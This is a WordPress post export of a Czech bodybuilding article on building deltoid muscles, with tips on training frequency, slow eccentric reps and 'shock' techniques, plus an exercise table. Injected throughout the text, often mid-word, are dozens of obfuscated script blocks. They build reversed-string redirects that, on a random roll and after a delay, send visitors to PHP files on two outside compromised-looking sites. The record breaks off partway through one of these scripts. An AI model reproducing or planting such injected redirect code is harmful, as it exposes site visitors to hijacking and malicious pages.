{"id":705,"date":"2022-05-30T16:47:25","date_gmt":"2022-05-30T16:47:25","guid":{"rendered":"https:\/\/www.svetkulturistiky.cz\/?p=705"},"modified":"2022-05-30T16:47:27","modified_gmt":"2022-05-30T16:47:27","slug":"delty-ve-3d","status":"publish","type":"post","link":"https:\/\/svetkulturistiky.cz\/index.php\/2022\/05\/30\/delty-ve-3d\/","title":{"rendered":"DELTY VE 3D"},"content":{"rendered":"\n<p><strong>Vyu\u017eijte k&nbsp;budov\u00e1n\u00ed mohutn\u00fdch del<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00fdch sval\u016f speci\u00e1ln\u00ed tr\u00e9ninkov\u00e9 techniky.<\/strong><\/p>\n\n\n\n<p>Kdybychom m\u011bli zm\u00ednit jednu jedinou svalovou partii, kter\u00e1 na prvn\u00ed pohled odli\u0161\u00ed \u0161ampiona od pr\u016fm\u011brn\u00e9ho spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovce, pak by <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to bezpochyby byla ramena. Pro\u010d? P\u0159edev\u0161\u00edm pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to, \u017ee jde o partii dob\u0159e viditelnou ze v\u0161ech stran. Rozvinut\u00e9 del<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tov\u00e9 svaly m\u016f\u017eete obdivovat zep\u0159edu, zezadu i z&nbsp;boku. \u0160irok\u00e1 ramena jednodu\u0161e nep\u0159ehl\u00e9dnete, a\u0165 u\u017e m\u00e1 doty\u010dn\u00fd na sob\u011b tri\u010dko, svetr nebo oblek. \u017d\u00e1dn\u00e1 jin\u00e1 svalov\u00e1 skupina <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toho o n\u00e1ro\u010dnosti va\u0161ich tr\u00e9nink\u016f <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tolik nevypov\u00edd\u00e1. Bohu\u017eel je \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to zna\u010dn\u00fd rozd\u00edl mezi t\u00edm, jak mohutn\u00e9 byste delty cht\u011bli m\u00edt, a jak mohutn\u00e9 ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to svaly moment\u00e1ln\u011b m\u00e1te. Jestli se v\u00e1m zd\u00e1, \u017ee v\u00fdsledky \u00fapln\u011b neodpov\u00eddaj\u00ed vynalo\u017een\u00e9mu \u00fasil\u00ed, mo\u017en\u00e1 pot\u0159ebujete s&nbsp;tr\u00e9ninkem trochu poradit.<\/p>\n\n\n\n<p><strong>Co v\u00e1m m\u016f\u017ee pomoct?<\/strong><\/p>\n\n\n\n<p>P\u0159edev\u0161\u00edm <strong>procvi\u010dov\u00e1n\u00ed ramen v&nbsp;den, kdy nebudete tr\u00e9novat \u017e\u00e1dnou dal\u0161\u00ed partii.<\/strong> P\u0159\u00edli\u0161 mnoho spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovc\u016f se sna\u017e\u00ed spojit tr\u00e9nink ramen s&nbsp;jin\u00fdmi \u2013 obvykle v\u011bt\u0161\u00edmi \u2013 svalov\u00fdmi skupinami, nap\u0159\u00edklad s&nbsp;hrudn\u00edkem nebo z\u00e1dy. To je ale velk\u00e1 chyba. Pokud chcete maximalizovat hmotu i hus<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>totu, <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tohle nen\u00ed vhodn\u00e1 cesta.<\/p>\n\n\n\n<p>Pak taky pot\u0159ebujete <strong>ramena cvi\u010dit v\u00edcekr\u00e1t ne\u017e jenom jednou t\u00fddn\u011b<\/strong>. Ka\u017ed\u00fd zku\u0161en\u00fd tren\u00e9r i spor<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tovec v\u00e1m potvrd\u00ed, \u017ee pokud m\u00e1te n\u011bjakou zaost\u00e1vaj\u00edc\u00ed partii vylep\u0161it, d\u00e1v\u00e1 smysl zkusit, zda se neosv\u011bd\u010d\u00ed \u010dast\u011bj\u0161\u00ed stimulace. Jako nejlep\u0161\u00ed se mnohdy jev\u00ed jeden samostatn\u00fd tr\u00e9nink a jeden mini-tr\u00e9nink o n\u011bkolik dn\u016f pozd\u011bji. Tak\u017ee pokud nap\u0159\u00edklad v\u011bnujete samostatn\u00e9mu procvi\u010den\u00ed ramen pond\u011bl\u00ed a zvl\u00e1dnete n\u011bjak\u00fdch 12-14 s\u00e9ri\u00ed, m\u016f\u017eete tu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to partii znovu procvi\u010dit je\u0161t\u011b ve \u010dtvrtek spolu s&nbsp;jinou parti\u00ed a pouze v&nbsp;polovi\u010dn\u00edm objemu (6-7 s\u00e9ri\u00ed).<\/p>\n\n\n\n<p>D\u00e1le <strong>kontrolujte negativn\u00ed f\u00e1zi pohybu<\/strong>. Hypertrofie (n\u00e1r\u016fst sval\u016f) je stimulov\u00e1na p\u0159edev\u0161\u00edm, kdy\u017e zpomal\u00edte excentrickou f\u00e1zi ka\u017ed\u00e9ho opakov\u00e1n\u00ed. A <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nejenom p\u0159i z\u00e1kladn\u00edch tlakov\u00fdch cvic\u00edch, ale i p\u0159i upa\u017eov\u00e1n\u00ed \u010di p\u0159\u00edtaz\u00edch.<\/p>\n\n\n\n<p>Ur\u010dit\u011b tak\u00e9 d\u00e1v\u00e1 smysl <strong>st\u0159\u00eddat nejr\u016fzn\u011bj\u0161\u00ed \u201e\u0161okov\u00e9\u201c techniky<\/strong>. Zaost\u00e1vaj\u00edc\u00ed svalov\u00e9 partie je v\u011bt\u0161inou t\u0159eba donutit k&nbsp;r\u016fstu v\u011bt\u0161\u00edm \u00fasil\u00edm a prost\u0159ednictv\u00edm n\u011bjak\u00e9ho unik\u00e1tn\u00edho typu stimulace. Skv\u011bl\u00e9 v\u00fdsledky slibuje nap\u0159\u00edklad t\u0159\u00edt\u00fddenn\u00ed cyklus, kdy vyu\u017e\u00edv\u00e1te p\u0159i ka\u017ed\u00e9m cviku jednu speci\u00e1ln\u00ed techniku. Obvykle ned\u00e1v\u00e1 smysl tak<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to svaly \u0161okovat del\u0161\u00ed dobu ne\u017e zmi\u0148ovan\u00e9 t\u0159i t\u00fddny. Pak si dop\u0159ejte t\u00fdden standardn\u00edho tr\u00e9ninku a dle pot\u0159eby m\u016f\u017eete za\u0159adit dal\u0161\u00ed cyklus. Uvid\u00edte, \u017ee se v\u00e1m svaly odm\u011bn\u00ed n\u00e1r\u016fstem objemu i s\u00edly.<\/p>\n\n\n\n<p><strong>TR\u00c9NINK RAMEN S&nbsp;\u0160OKOV\u00ddMI TECHNIKAMI<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><tbody><tr><td><strong>Cvik<\/strong><\/td><td><strong>S\u00e9rie<\/strong><\/td><td><strong>Opakov\u00e1n\u00ed<\/strong><\/td><\/tr><tr><td>Upa\u017eov\u00e1n\u00ed s&nbsp;jednoru\u010dkami vsed\u011b v&nbsp;p\u0159edklonu*<\/td><td>2<\/td><td>10-12<\/td><\/tr><tr><td>Tlaky na p\u0159\u00edstroji vsed\u011b**<\/td><td>2<\/td><td>7-9<\/td><\/tr><tr><td>Upa\u017eov\u00e1n\u00ed s&nbsp;jednoru\u010dkami ve s<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return 